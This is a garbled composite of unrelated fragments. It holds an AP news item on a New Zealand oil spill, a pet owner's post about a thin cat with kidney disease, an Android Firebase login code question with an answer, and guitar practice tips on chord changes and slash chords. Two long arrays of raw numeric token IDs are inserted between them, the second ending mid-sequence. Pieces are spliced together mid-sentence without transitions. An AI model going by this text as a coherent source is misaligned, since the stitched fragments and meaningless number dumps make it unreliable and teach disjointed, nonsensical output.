estimates that between 220 and 330 tons of heavy fuel oil have spilled from the hull, leading New Zealand's environment minister, Nick Smith, to call it the country's biggest maritime environmental disaster. Officials believe the ship had about 1,870 tons of oil and 220 tons of diesel on board before it started leaking. In a statement, the owners of the vessel, Greece-based Costamare Inc., said they were "cooperating fully with local authorities" and were making every effort to "control and minimize the environmental consequences of this incident." The company did not offer any explanation for the grounding. Copyright 2011 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Sampson has lost another pound. He was off his thyroid meds for a few weeks on account of my not being able to afford them. He is back on them now. He simply isn't eating enough. His last test a few months ago showed great improvement with both his BUN and Creatinine numbers. I've tried eggs, he ate them a few times and then stopped. He will still eat baby food. If I get out a baked chicken, he will eat quite a bit of that. I am feeding both Wellness and Science Diet. ( Only the kinds listed as low in phosphorus. ) Later in the day, he will eat a few bites and then leave the bowl. My vet suggested Cyproheptadine 4mg. I'm unsure to give him this, as I have read on the different possible side effects. I've tried all previous suggestions. He does seem to still want to eat, he just doesn't intake enough. He's now just skin and bones. Behavior wise he's doing well. No excessive drinking or peeing. He has had a few hairballs, but nothing unusual. He is not lethargic, he sometimes plays with my 2 younger ones. His fur is still shiny, he does not groom or pull too much. I was fortunate w/my CRF girl to never need an appetite stimulant

[ 187, 50274, 6989, 22147, 30, 12161, 4312, 15, 45461, 5023, 18264, 5023, 24716, 1874, 187, 338, 313, 6989, 17835, 15, 41703, 1082, 910, 187, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 937, 7845, 10871, 253, 21726, 209, 187, 2618, 995, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 94, 187, 7271, 604, 313, 6989, 22147, 15, 41703, 6649, 187, 92, 187, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 937, 7845, 4901, 33937, 209, 187, 22147, 995, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 94, 187, 7271, 551, 187, 14399, 15, 9188, 688, 3378, 17835, 1898, 22147, 9, 6989, 17835, 13, 11447, 22147, 10, 187, 50270, 15, 1911, 2374, 26626, 11119, 9, 27689, 10099, 15, 2520, 13, 747, 209, 187, 2374, 26626, 11119, 29, 15714, 9179, 31759, 551, 187, 50266, 33, 9677, 187, 50266, 4387, 2991, 327, 26626, 22256, 11592, 13141, 17526, 29, 15714, 9179, 31, 4836, 10, 551, 187, 50262, 605, 1310, 861, 275, 10224, 13, 3148, 247, 3935, 281, 253, 2608, 15, 1310, 209, 187, 9188, 275, 44584, 187, 50262, 605, 253, 24896, 1375, 24199, 588, 320, 23274, 285, 9317, 209, 187, 936, 6016, 253, 187, 50262, 605, 6704, 275, 2608, 476, 320, 15726, 275, 253, 24199, 15, 187, 50262, 338, 6522, 14605, 15, 261, 23779, 1020, 6649, 551, 187, 50258, 605, 627, 369, 271, 2228, 535, 50258, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 937, 4756, 275, 2490, 20893, 4672, 995, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50262, 94, 2010, 2490, 187, 92, 187, 604, 9, 21381, 4793, 15714, 15, 43616, 5023, 788, 10605, 6989, 5023, 788, 17835, 5023, 22297, 9, 87, 15, 15787, 1228, 187, 50254, 50274, 5478, 12479, 9, 1826, 2490, 50274, 28843, 9, 27689, 10099, 15, 2520, 13, 30000, 6989, 15, 2437, 4027, 187, 50254, 7271, 551, 187, 50254, 50274, 2776, 1484, 64, 301, 426, 2490, 50274, 14399, 15, 43616, 5023, 788, 10605, 6989, 5023, 788, 54, 301, 1874, 187, 50255, 6535, 255, 4286, 426, 8726, 4793, 21563, 15, 43616, 5023, 788, 12905, 5023, 7003, 1587, 17104, 6788, 7003, 9, 86, 64, 301, 481, 7003, 1587, 7955, 2688, 3287, 187, 50254, 3902, 33329, 2362, 11119, 426, 747, 11740, 33329, 1082, 551, 187, 50254, 50274, 33, 9677, 187, 50254, 50274, 4387, 2991, 327, 3233, 13086, 9, 3233, 42710, 941, 42710, 10, 551, 187, 50254, 50270, 2776, 50276, 7955, 2688, 426, 313, 2776, 10, 941, 42710, 15, 38950, 1874, 535, 50254, 50274, 94, 535, 50254, 50274, 33, 9677, 187, 50254, 50274, 4387, 2991, 327, 36, 1377, 5911, 9, 21563, 4756, 5447, 4756, 10, 12166, 187, 50254, 4718, 187, 50254, 6535, 255, 4286, 15, 1911, 11119, 2214, 21822, 3902, 5949, 9, 8045, 11119, 558, 187, 50254, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 13, 86, 64, 301, 13, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50254, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 13, 7955, 2688, 267, 13, 1992, 505, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50254, 3122, 74, 426, 747, 30659, 9, 27689, 10099, 15, 2520, 13, 8192, 2400, 688, 15, 2437, 558, 187, 50254, 74, 15, 1065, 31087, 1587, 25521, 64, 4537, 995, 7955, 2688, 558, 187, 50254, 5478, 12479, 9, 74, 558, 8480, 187, 50258, 94, 535, 50258, 1992, 505, 15, 11145, 4312, 9, 27689, 10099, 15, 2520, 13, 346, 6800, 2400, 496, 995, 40278, 15, 33987, 64, 39496, 481, 9029, 1874, 187, 50259, 94, 187, 50266, 94, 187, 50270, 9897, 187, 187, 94, 187, 94, 187, 33, 9677, 187, 4387, 2991, 327, 8116, 49, 2079, 1082, 551, 187, 50274, 12185, 15, 251, 8116, 49, 2079, 1874, 187, 94, 187, 187, 94, 187, 187, 34, 27, 187, 187, 7845, 897, 436, 2127, 27, 187, 2776, 1484, 64, 301, 426, 24896, 15, 788, 10605, 6989, 5023, 788, 54, 301, 1874, 187, 6535, 255, 4286, 426, 8726, 4793, 21563, 15, 43616, 5023, 788, 12905, 5023, 7003, 1587, 17104, 6788, 7003, 9, 86, 64, 301, 481, 7003, 1587, 7955, 2688, 3287, 187, 3902, 33329, 2362, 11119, 426, 747, 11740, 33329, 1082, 551, 187, 50274, 33, 9677, 187, 50274, 4387, 2991, 327, 3233, 13086, 9, 3233, 42710, 941, 42710, 10, 551, 187, 50270, 2776, 7811, 426, 313, 2776, 10, 941, 42710, 15, 38950, 1874, 187, 50270, 6800, 15, 69, 1587, 22227, 995, 7811, 558, 187, 50274, 94, 535, 50274, 33, 9677, 187, 50274, 4387, 2991, 327, 36, 1377, 5911, 9, 21563, 4756, 5447, 4756, 10, 12166, 187, 4718, 187, 6535, 255, 4286, 15, 1911, 11119, 2214, 21822, 3902, 5949, 9, 8045, 11119, 558, 187, 187, 24004, 352, 7729, 15, 535, 998, 4638, 3987, 9575, 342, 1943, 268, 19726, 875, 32894, 2544, 310, 247, 1663, 1846, 1895, 323, 2353, 12947, 13, 285, 352, 7835, 1663, 27736, 763, 2, 1707, 457, 84, 2717, 7197, 685, 3095, 16115, 390, 4882, 949, 247, 4498, 13, 840, 268, 36314, 323, 608, 7253, 281, 1611, 281, 1056, 326, 18638, 264, 28190, 32894, 1818, 2, 380, 5230, 273, 253, 1895, 310, 3798, 326, 253, 13370, 452, 417, 644, 10166, 281, 1056, 253, 3451, 11438, 323, 253, 32894, 1818, 4354, 285, 3434, 13102, 15, 187, 187, 2512, 403, 247, 1180, 273, 5609, 368, 476, 897, 281, 11399, 436, 1895, 27, 187, 187, 21020, 949, 253, 2644, 4498, 642, 28250, 187, 187, 13325, 2119, 368, 476, 513, 253, 2544, 7808, 275, 1340, 13, 285, 755, 247, 1928, 323, 534, 448, 6565, 2544, 403, 8479, 3237, 15, 187, 187, 9034, 408, 253, 1895, 32894, 2544, 187, 187, 8252, 7808, 313, 2369, 28250, 582, 13654, 327, 3290, 2581, 685, 3885, 15, 3166, 417, 45166, 253, 1612, 273, 436, 13, 2218, 987, 2, 24503, 323, 479, 13, 347, 247, 625, 7407, 4760, 13, 436, 3924, 3815, 310, 512, 326, 457, 84, 3058, 15, 2635, 1611, 3629, 3885, 15, 20579, 1230, 2, 7243, 368, 476, 513, 253, 1818, 7808, 342, 7200, 13, 897, 773, 531, 7017, 2544, 668, 281, 923, 849, 1142, 32894, 2544, 368, 476, 1056, 275, 247, 7017, 15, 18700, 634, 4868, 15, 187, 187, 9034, 3867, 32894, 2544, 310, 1663, 1774, 347, 352, 21168, 6616, 3541, 13, 594, 368, 1053, 457, 85, 452, 281, 1158, 670, 634, 32894, 2544, 667, 625, 313, 9088, 457, 84, 247, 3282, 273, 634, 9881, 816, 2509, 253, 32894, 2544, 3746, 481, 187, 187, 998, 4638, 7243, 3545, 4033, 187, 187, 4125, 359, 403, 4983, 281, 1158, 670, 14596, 275, 673, 15, 15358, 4882, 2112, 281, 253, 7663, 13, 816, 581, 1213, 360, 591, 2534, 390, 32894, 15, 1310, 368, 457, 250, 15586, 13, 3468, 352, 1066, 2, 15358, 4882, 2112, 281, 247, 1313, 1406, 485, 390, 28837, 1066, 2715, 273, 253, 4498, 313, 70, 15, 72, 15, 970, 8644, 3468, 1066, 254, 481, 1310, 368, 476, 457, 85, 513, 581, 1213, 360, 591, 2534, 368, 588, 11182, 342, 247, 2120, 2570, 1213, 360, 3102, 2, 10338, 2119, 368, 513, 352, 387, 247, 3885, 368, 403, 9848, 342, 15, 187, 187, 998, 4638, 7019, 591, 2534, 187, 187, 17222, 3629, 253, 1180, 273, 1213, 7640, 281, 7019, 591, 2534, 15, 10036, 13, 604, 368, 457, 250, 15586, 3468, 1841, 1066, 15, 1310, 352, 457, 84, 1663, 9848, 13, 4536, 368, 476, 17049, 436, 3924, 15, 187, 187, 998, 4638, 2378, 591, 7171, 187, 187, 1552, 310, 253, 5385, 89, 1127, 15, 1422, 878, 281, 320, 2104, 281, 1213, 360, 1046, 7171, 313, 21, 2069, 323, 954, 1684, 9575, 10, 285, 1056, 253, 32894, 2544, 1293, 268, 36314, 15, 1310, 368, 476, 457, 85, 513, 436, 840, 627, 457, 84, 642, 1039, 368, 476, 513, 253, 2644, 1213, 360, 3102, 15, 733, 457, 84, 5667, 326, 368, 1053, 457, 85, 19309, 634, 1213, 360, 323, 253, 32894, 2544, 2, 23526, 281, 3468, 1066, 253, 4498, 685, 281, 8473, 275, 253, 16063, 569, 15, 1310, 368, 2283, 885, 16063, 569, 13, 642, 2647, 849, 3468, 13, 368, 457, 620, 755, 1663, 1175, 387, 2866, 16063, 839, 875, 448, 6565, 2, 187, 187, 49, 15503, 253, 1213, 360, 10939, 187, 187, 510, 1213, 360, 3198, 281, 320, 3434, 1417, 1078, 2820, 281, 13398, 352, 342, 32894, 2544, 13, 3782, 604, 368, 403, 747, 281, 4882, 13, 285, 1335, 878, 281, 21364, 327, 634, 32894, 2544, 15, 1422, 760, 452, 3710, 4116, 1108, 5206, 581, 1133, 387, 247, 673, 1919, 1841, 403, 12077, 2, 187, 187, 17222, 448, 6565, 342, 253, 1213, 360, 3102, 187, 187, 1552, 310, 253, 28190, 2372, 1108, 8133, 253, 448, 6565, 2366, 342, 253, 1213, 360, 15, 5037, 457, 85, 19309, 2, 32151, 1066, 13, 285, 1056, 2119, 368, 476, 1978, 634, 28250, 16, 1344, 360, 3987, 1663, 1014, 15, 187, 187, 2042, 368, 878, 281, 13, 816, 1379, 767, 448, 6565, 285, 564, 896, 285, 6593, 281, 755, 908, 281, 6890, 342, 253, 1213, 360, 3102, 15, 187, 187, 6826, 896, 285, 4993, 1895, 3672, 187, 187, 1552, 310, 9560, 15, 23208, 556, 281, 320, 7870, 2, 1422, 878, 281, 5878, 598, 1027, 7274, 15, 15358, 4882, 949, 253, 4498, 13, 923, 752, 6556, 598, 13, 752, 3198, 18505, 15, 7733, 327, 253, 1895, 32894, 2544, 28, 1379, 816, 767, 448, 6565, 1108, 1611, 642, 28250, 32894, 2544, 896, 285, 6593, 13, 773, 531, 7017, 2544, 7521, 1611, 577, 1213, 7640, 327, 1016, 1293, 268, 36314, 13, 1611, 342, 253, 2120, 1213, 360, 3102, 313, 30991, 839, 875, 253, 767, 448, 6565, 481, 2635, 1611, 352, 275, 3634, 313, 6309, 326, 2593, 273, 253, 4498, 481, 2635, 1611, 253, 2644, 4498, 969, 285, 923, 604, 352, 6556, 598, 15, 1310, 2712, 3198, 18505, 13, 564, 896, 715, 625, 7106, 2283, 885, 327, 326, 1798, 12256, 12616, 281, 4993, 352, 15, 187, 187, 6300, 10223, 187, 49724, 512, 436, 285, 452, 794, 2, 13516, 896, 281, 253, 7000, 3946, 1529, 673, 15, 3771, 2770, 327, 7562, 253, 19407, 19246, 1108, 2997, 326, 627, 457, 620, 320, 247, 1643, 32894, 16503, 2112, 253, 1039, 2, 187, 187, 8665, 12192, 27, 187, 187, 40246, 1066, 2, 187, 36011, 281, 564, 3468, 342, 3290, 281, 1265, 342, 15, 24090, 588, 1705, 342, 673, 15, 187, 187, 26078, 327, 11990, 13, 17040, 285, 3434, 23786, 187, 510, 625, 29341, 368, 403, 253, 12150, 281, 1056, 634, 9881, 789, 15, 17766, 835, 368, 457, 250, 5877, 12415, 285, 816, 1339, 352, 11990, 15, 187, 187, 49, 15503, 2789, 9928, 187, 2598, 1053, 457, 85, 8473, 253, 16063, 569, 390, 16503, 2, 187, 187, 5498, 457, 85, 320, 247, 26835, 382, 187, 34, 303, 323, 3290, 13, 533, 2997, 326, 627, 457, 620, 320, 247, 1643, 1081, 91, 3847, 448, 6565, 2112, 253, 1039, 1108, 1978, 2444, 327, 731, 13, 533, 1053, 457, 85, 1339, 253, 8909, 9719, 3716, 1607, 18909, 327, 634, 11792, 28715, 6185, 2685, 2, 187, 187, 19515, 1213, 360, 3987, 2, 187, 2302, 2647, 752, 310, 1469, 327, 342, 253, 32894, 2544, 13, 1978, 326, 19407, 1469, 2, 187, 187, 30389, 352, 1066, 187, 5498, 457, 85, 816, 1132, 949, 253, 2644, 4498, 1016, 673, 15, 11668, 1355, 7118, 390, 12256, 25491, 281, 789, 327, 15, 1422, 476, 1132, 949, 253, 2644, 2181, 969, 1996, 15, 187, 187, 6300, 1132, 187, 21020, 949, 253, 2644, 4498, 4536, 2, 1422, 452, 281, 1978, 1841, 7870, 285, 794, 2, 22347, 352, 598, 2, 187, 187, 6826, 3477, 327, 4834, 187, 11778, 794, 2, 2053, 1841, 1379, 673, 2, 5037, 457, 85, 1902, 253, 12334, 327, 7356, 1108, 690, 1841, 1379, 673, 42908, 187, 187, 10195, 273, 368, 588, 452, 1705, 2439, 8921, 2819, 448, 6565, 824, 347, 443, 16, 35, 390, 399, 16, 39, 26577, 831, 2506, 457, 85, 1599, 368, 476, 5206, 534, 273, 253, 767, 448, 6565, 281, 1132, 13, 390, 326, 368, 1132, 581, 32894, 840, 253, 643, 2, 13771, 13, 773, 40, 16, 35, 668, 310, 2686, 247, 2014, 32894, 15, 380, 3877, 1078, 253, 41048, 313, 40, 21714, 8599, 368, 253, 4583, 32894, 281, 320, 4546, 13, 1223, 253, 3877, 846, 253, 41048, 46633, 35, 10, 8599, 368, 534, 3877, 310, 281, 320, 4546, 275, 253, 16819, 273, 253, 32894, 15, 1198, 1650, 13, 187, 187, 40, 16, 35, 426, 247, 443, 32894, 342, 247, 378, 3877, 275, 253, 16819, 15, 187, 37, 16, 39, 4, 426, 247, 399, 32894, 342, 271, 401, 4, 3877, 275, 253, 16819, 15, 187, 187, 1394 ]

UserPassword=PassText.getText().toString().trim(); if (UserEmail.isEmpty()){ Toast.makeText(LoginPage.this,"Please Enter the Email Id",Toast.LENGTH_LONG).show(); } else if (UserPassword.isEmpty()) { Toast.makeText(LoginPage.this,"Please enter Valid Password",Toast.LENGTH_LONG).show(); } else { auth.signInWithEmailAndPassword(UserEmail, UserPassword) .addOnCompleteListener(LoginPage.this, new OnCompleteListener<AuthResult>() { @Override public void onComplete(@NonNull Task<AuthResult> task) { // If sign in fails, display a message to the user. If sign in succeeds // the auth state listener will be notified and logic to handle the // signed in user can be handled in the listener. if (!task.isSuccessful()) { // there was an error Toast.makeText(LoginPage.this,"Error in logging!!",Toast.LENGTH_LONG).show(); } else { if(FirebaseAuth.getInstance().getCurrentUser().getEmail().equals(v.admin)) startActivity(new Intent(LoginPage.this,AdminUser.class)); else { String u_id = auth.getInstance().getCurrentUser().getUid(); mdatabase = FirebaseDatabase.getInstance().getReference().child("Users").child(u_id).child("department"); ValueEventListener eventListener = new ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { String department = (String) dataSnapshot.getValue(); } @Override public void onCancelled(DatabaseError databaseError) {} }; mdatabase.addListenerForSingleValueEvent(eventListener); Toast.makeText(LoginPage.this,u_id,Toast.LENGTH_LONG).show(); Toast.makeText(LoginPage.this,departmental,Toast.LENGTH_LONG).show(); /*i = new Intent(LoginPage.this, LoggedIn.class); i.putExtra("hello_user",department); startActivity(i);*/ } Toast.makeText(LoginPage.this, "Logged In", Toast.LENGTH_LONG).show(); } } }); } } @Override public void onBackPressed() { super.onBackPressed(); } } A: Please use this code: String u_id = auth.getCurrentUser().getUid(); mdatabase = FirebaseDatabase.getInstance().getReference().child("Users").child(u_id).child("department"); ValueEventListener eventListener = new ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { String department = (String) dataSnapshot.getValue(); Log.d("TAG", department); } @Override public void onCancelled(DatabaseError databaseError) {} }; mdatabase.addListenerForSingleValueEvent(eventListener); Hope it helps. Strumming songs with big pauses between chord changes is a really common problem for beginners, and it sounds really amateurish! There’s nothing worse than someone singing or playing through a song, then pausing for 5 seconds to try to make that dreaded tricky chord change! The root of the problem is usually that the muscles have not been trained to make the correct movements for the chord change easily and effortlessly. There are a number of techniques you can use to overcome this problem: Play through the whole song no tempo Make sure you can do the changes slowly in order, and get a feel for which chords changes are causing problems. Drill the problem chord changes Start slowly (no tempo), focusing on quality rather than speed. Do not underestimate the power of this, done right! Often for me, as a more experienced player, this stage alone is all that’s needed. Then try increasing speed. Gradually! Once you can do the change slowly with accuracy, use “one minute changes” to see how many chord changes you can make in a minute. Record your score. Drilling chord changes is really important as it builds muscle memory, so you don’t have to think about your chord changes any more (there’s a sense of your fingers just doing the chord changes themselves). Strum Once Per Bar Now we are starting to think about staying in time. Try playing along to the recording, just one strum per bar or chord. If you’re struggling, slow it down! Try playing along to a metronome or slowed down version of the song (e.g. using amazing slow downer). If you can’t do one strum per bar you will struggle with a full complex strum pattern! Make sure you do it at a speed you are comfortable with. Strum twice per bar Try increasing the number of strums to twice per bar. Again, if you’re struggling slow things down. If it’s really comfortable, sometimes you can skip this stage. Strum once per beat This is the crux point. You need to be able to strum every beat (4 times for most pop songs) and make the chord changes without pausing. If you can’t do this then there’s no way you can do the whole strum pattern. It’s essential that you don’t pause your strum for the chord changes! Better to slow down the song than to embed in the hesitations. If you practise hesitations, no matter how slow, you’ll get really good at… hesitating between chords! Practice the strum independently The strum needs to be effortless before trying to combine it with chord changes, particularly if you are new to playing, and still need to concentrate on your chord changes. You only have limited attention – choose one hand at a time until things are automatic! Try chords with the strum pattern This is the tricky bit – putting the chords together with the strum. Don’t pause! Slow down, and make sure you can keep your tempo/strumming really even. If you need to, just take two chords and go back and forth to get used to changing with the strum pattern. Go back and fix problem areas This is crucial. Practice has to be dynamic! You need to mix up different approaches. Try playing through the song, see what holds up, what needs fixing. Work on the problem chord changes; take just two chords – try no tempo chord changes back and forth, “one minute changes”, try 4 strums on each without pausing, try with the full strum pattern (alternating between the two chords). Then try it in context (just that section of the song). Then try the whole song again and see if it holds up. If anything needs fixing, go back into more focused practise on that particular musical phrase to fix it. Just Play Forget all this and have fun! Come back to the detailed practice another time. Just focus on keeping the rhythm flowing – accept that there’ll be a few chord mistakes along the way! Other tips: Slow down! Better to go slow with quality to start with. Speed will come with time. Focus on ease, relaxation and effortlessness The more tense you are the harder to make your fingers work. Notice where you’re holding tension and just let it ease. Practice makes permanent So don’t embed the hesitations or mistakes! Don’t be a perfectionist Aim for quality, but accept that there’ll be a few buzzy chords along the way – keep working on them, but don’t let the odd imperfection impinge on your steady rhythmic flow! Keep strumming! No matter what is going on with the chord changes, keep that rhythm going! Break it down Don’t just play through the whole song each time. Take small sections or musical phrases to work on. You can play through the whole thing again later. Just play Play through the whole song sometimes! You have to keep things dynamic and fun! Mix it up! Go easy on yourself Have fun! These things take time! Don’t expect the moon on stick – some things take time 🙂 Many of you will have come across strange looking chords such as G/B or D/F#. This doesn’t mean you can choose which of the two chords to play, or that you play one chord then the other! Rather, “G/B” is actually a single chord. The note before the slash (G/) tells you the overall chord to be played, while the note after the slash (/B) tells you which note is to be played in the bass of the chord. For example, G/B = a G chord with a B note in the bass. D/F# = a D chord with an F# note in the bass. You

[ 250, 14331, 47436, 15, 1583, 452, 1270, 5017, 15, 1876, 253, 1072, 13, 323, 4227, 13, 1810, 379, 8260, 3063, 13, 344, 369, 6108, 15254, 4766, 4321, 275, 253, 2165, 13, 285, 359, 497, 2403, 779, 2075, 15, 754, 457, 84, 1694, 253, 1511, 273, 5017, 326, 344, 476, 755, 1977, 342, 6108, 5017, 275, 253, 4766, 273, 253, 8232, 13, 533, 672, 776, 8399, 310, 3511, 751, 352, 369, 3063, 13, 359, 497, 2509, 247, 1175, 2628, 273, 6276, 253, 4023, 15, 187, 187, 1628, 1328, 9090, 11371, 1066, 275, 253, 1996, 28828, 13, 533, 667, 673, 368, 1691, 598, 5093, 327, 253, 19485, 272, 12552, 10231, 13688, 13, 309, 1158, 326, 457, 84, 247, 3965, 1175, 1388, 15, 9240, 6068, 403, 789, 4210, 265, 15, 21836, 253, 22791, 310, 323, 247, 2622, 4983, 31021, 13, 2233, 41095, 13, 1110, 6068, 403, 1900, 1469, 9199, 14, 8193, 15, 1583, 6008, 28828, 347, 1199, 347, 667, 31021, 13, 327, 1755, 273, 1907, 14331, 5017, 15, 9240, 403, 767, 6068, 326, 11648, 651, 2389, 281, 452, 387, 253, 1755, 273, 616, 9381, 1425, 187, 187, 4237, 26963, 27, 1707, 588, 320, 22970, 9727, 3551, 323, 253, 16869, 327, 8216, 15, 2732, 1469, 949, 253, 2862, 12156, 3878, 313, 3113, 253, 6517, 273, 48545, 14272, 10, 285, 970, 6270, 3642, 13, 19802, 588, 878, 247, 26023, 323, 8216, 285, 671, 690, 6619, 28432, 942, 15, 5761, 4983, 36456, 15018, 403, 987, 14, 4608, 398, 25856, 35693, 285, 35382, 16456, 11005, 13, 949, 6747, 403, 327, 253, 3387, 14, 1342, 22970, 15, 329, 6774, 2118, 651, 320, 2424, 15, 418, 832, 555, 308, 15, 43, 15, 3995, 651, 1056, 3282, 13, 533, 344, 369, 816, 4500, 264, 896, 281, 36216, 14, 34, 7948, 13, 594, 344, 310, 417, 13410, 281, 1705, 896, 2568, 313, 28558, 3095, 310, 4845, 327, 253, 13603, 1618, 481, 1284, 323, 3044, 3074, 2131, 13, 309, 457, 78, 417, 2119, 752, 253, 42421, 476, 513, 15, 2726, 642, 745, 14, 1201, 13, 3044, 3074, 2131, 476, 457, 85, 320, 37001, 15, 754, 812, 320, 2197, 1066, 13, 533, 627, 457, 84, 642, 2590, 5407, 387, 253, 2774, 15, 10154, 90, 20882, 6470, 25151, 369, 4500, 264, 327, 6794, 13, 594, 344, 457, 84, 417, 13410, 281, 1091, 407, 3044, 3074, 2131, 457, 84, 1735, 11526, 1614, 13, 2057, 15, 8948, 597, 476, 1642, 16553, 12024, 1369, 74, 604, 521, 987, 34376, 310, 1335, 25132, 32, 844, 457, 620, 1089, 562, 8216, 752, 253, 9727, 588, 320, 15, 19802, 574, 247, 8630, 281, 19585, 281, 5834, 846, 8330, 457, 84, 4274, 6929, 15, 187, 187, 31190, 27, 309, 588, 320, 745, 323, 253, 15146, 3971, 7408, 949, 19585, 285, 8068, 15, 46769, 12669, 16869, 15, 681, 285, 1563, 1214, 85, 29798, 968, 1334, 285, 1214, 8207, 2458, 323, 11269, 15, 48678, 479, 13, 309, 457, 69, 1199, 2581, 320, 16116, 253, 3971, 15, 309, 457, 78, 1907, 619, 15799, 9970, 5176, 436, 2129, 15, 7088, 2069, 2, 187, 187, 510, 7237, 3407, 342, 253, 3668, 326, 253, 16869, 574, 2096, 1598, 1471, 4225, 15586, 26023, 20882, 6470, 25151, 281, 36216, 14, 34, 15, 380, 2360, 7402, 342, 247, 298, 2695, 1356, 2957, 27251, 432, 247, 502, 3938, 254, 273, 271, 562, 272, 432, 33208, 3044, 3074, 2131, 15, 187, 187, 1276, 369, 594, 44229, 272, 670, 3044, 3074, 2131, 457, 84, 2360, 369, 253, 15925, 5133, 275, 534, 352, 3407, 15, 380, 987, 90, 873, 1066, 330, 16856, 27936, 81, 13, 2516, 500, 284, 80, 285, 15698, 399, 2814, 1397, 251, 275, 1340, 281, 1527, 253, 2165, 13, 13631, 1016, 273, 731, 562, 285, 15950, 1903, 273, 521, 806, 1668, 41095, 323, 18200, 15, 187, 187, 1628, 35384, 13, 253, 806, 40762, 13, 344, 2210, 562, 1663, 1175, 1806, 16869, 7205, 21638, 22976, 585, 66, 753, 15, 773, 1328, 13222, 690, 273, 521, 1805, 10155, 15254, 326, 359, 457, 306, 2326, 15, 754, 2238, 273, 574, 690, 1612, 281, 352, 1425, 187, 187, 1898, 840, 275, 253, 1273, 40762, 2866, 187, 187, 4497, 13, 1339, 457, 84, 816, 1333, 326, 253, 19779, 1255, 342, 534, 3044, 3074, 2131, 6497, 7419, 369, 14464, 15, 4794, 281, 2561, 949, 14623, 14, 14005, 15, 681, 457, 84, 10223, 13193, 13, 352, 7101, 253, 806, 673, 275, 253, 2469, 2233, 1107, 273, 14623, 326, 247, 11432, 6884, 26023, 10903, 562, 253, 1930, 275, 1340, 275, 253, 806, 1078, 6941, 387, 1878, 4314, 6613, 275, 253, 1273, 13, 2190, 47436, 342, 642, 625, 685, 767, 28828, 24917, 15, 187, 187, 688, 337, 15, 18, 28828, 273, 789, 13, 3044, 3074, 2131, 369, 6636, 342, 4314, 6613, 327, 2620, 12830, 342, 1264, 16771, 13, 1264, 9974, 8349, 285, 767, 1728, 6613, 15, 754, 7402, 342, 8255, 41095, 13, 1690, 3285, 18200, 15, 187, 187, 1909, 776, 3858, 689, 387, 1281, 84, 6826, 53, 29798, 15, 681, 8042, 562, 13, 3044, 3074, 2131, 457, 84, 3045, 2036, 8659, 247, 4016, 2165, 4868, 3383, 21, 481, 2064, 1160, 352, 760, 253, 15515, 4016, 2165, 4868, 407, 271, 16869, 31021, 13, 13597, 896, 281, 387, 1878, 26478, 15, 2064, 1618, 3797, 8444, 21987, 90, 3383, 18, 327, 3747, 15, 1638, 13, 8065, 582, 8679, 401, 7707, 3383, 1010, 327, 3747, 15, 3436, 13, 26421, 582, 36999, 388, 6227, 22374, 3383, 21, 327, 4163, 1638, 13, 29175, 582, 22810, 6939, 75, 316, 3383, 1731, 327, 4163, 2030, 13, 29063, 10, 285, 9915, 27700, 1137, 3383, 18, 327, 3978, 1668, 13, 31610, 481, 187, 187, 11773, 3074, 2131, 457, 84, 369, 760, 253, 28023, 2165, 4868, 273, 428, 21, 390, 7197, 342, 642, 625, 685, 337, 15, 18, 28828, 24917, 275, 253, 2469, 2233, 1107, 273, 3817, 7363, 15, 380, 1390, 824, 12340, 369, 327, 3747, 15, 1722, 13, 4695, 13, 672, 14468, 378, 1136, 2131, 14123, 326, 42326, 8151, 323, 15391, 3228, 15, 187, 187, 1628, 688, 253, 1273, 40762, 273, 247, 2165, 1806, 22976, 585, 66, 753, 13, 773, 5658, 971, 281, 1918, 247, 5599, 247, 4839, 281, 755, 949, 352, 15, 8948, 344, 476, 9580, 2994, 15, 4952, 604, 368, 564, 1740, 544, 32599, 1092, 368, 457, 250, 417, 715, 634, 12156, 3878, 275, 634, 1273, 40762, 15, 1292, 13, 352, 816, 3589, 457, 85, 9369, 1425, 187, 187, 3378, 326, 2957, 13, 3044, 3074, 2131, 457, 84, 2952, 38233, 23470, 264, 432, 495, 15, 2511, 281, 608, 15, 1812, 15, 380, 987, 90, 310, 1024, 470, 14, 21, 342, 271, 854, 15, 3547, 38233, 275, 521, 1390, 2620, 7866, 313, 455, 2620, 497, 11655, 323, 253, 16869, 481, 496, 326, 13905, 13, 344, 556, 2164, 9974, 8349, 285, 884, 16771, 342, 247, 964, 20914, 313, 1630, 14, 1542, 14, 2511, 10, 18062, 457, 3388, 15, 380, 4314, 6613, 327, 6794, 5604, 8413, 8819, 1841, 627, 13, 533, 352, 457, 84, 1335, 247, 14138, 5926, 14, 2727, 432, 521, 806, 1740, 7866, 273, 253, 807, 15, 496, 326, 673, 2180, 13, 344, 2427, 495, 14, 17, 342, 247, 374, 15, 1619, 38233, 285, 964, 22187, 313, 1797, 14, 1542, 14, 2270, 10, 18062, 457, 3388, 15, 19802, 1912, 512, 1740, 3958, 285, 344, 574, 1722, 9974, 8349, 285, 5093, 16771, 15, 187, 187, 1628, 42, 871, 309, 6468, 457, 85, 33517, 619, 1682, 1806, 3044, 3074, 2131, 753, 15, 773, 32102, 13, 368, 457, 250, 1469, 281, 452, 690, 13596, 285, 42919, 15, 10154, 1024, 13, 309, 457, 78, 1066, 13, 347, 2080, 347, 253, 1039, 309, 457, 306, 644, 36456, 21403, 15, 309, 871, 309, 457, 306, 1694, 281, 755, 896, 598, 281, 326, 4766, 3216, 285, 11288, 1805, 1425, 187, 187, 44630, 585, 66, 753, 3044, 3074, 2131, 457, 84, 4836, 1024, 310, 281, 11823, 253, 3904, 285, 8588, 253, 1655, 9902, 15, 187, 187, 48392, 1328, 556, 62, 281, 320, 2266, 2217, 23198, 281, 2096, 326, 344, 310, 247, 1175, 31021, 1806, 22976, 585, 66, 753, 15, 773, 1147, 1537, 1379, 247, 1223, 281, 755, 326, 38233, 281, 835, 344, 457, 84, 9848, 13, 533, 326, 2506, 457, 85, 1599, 344, 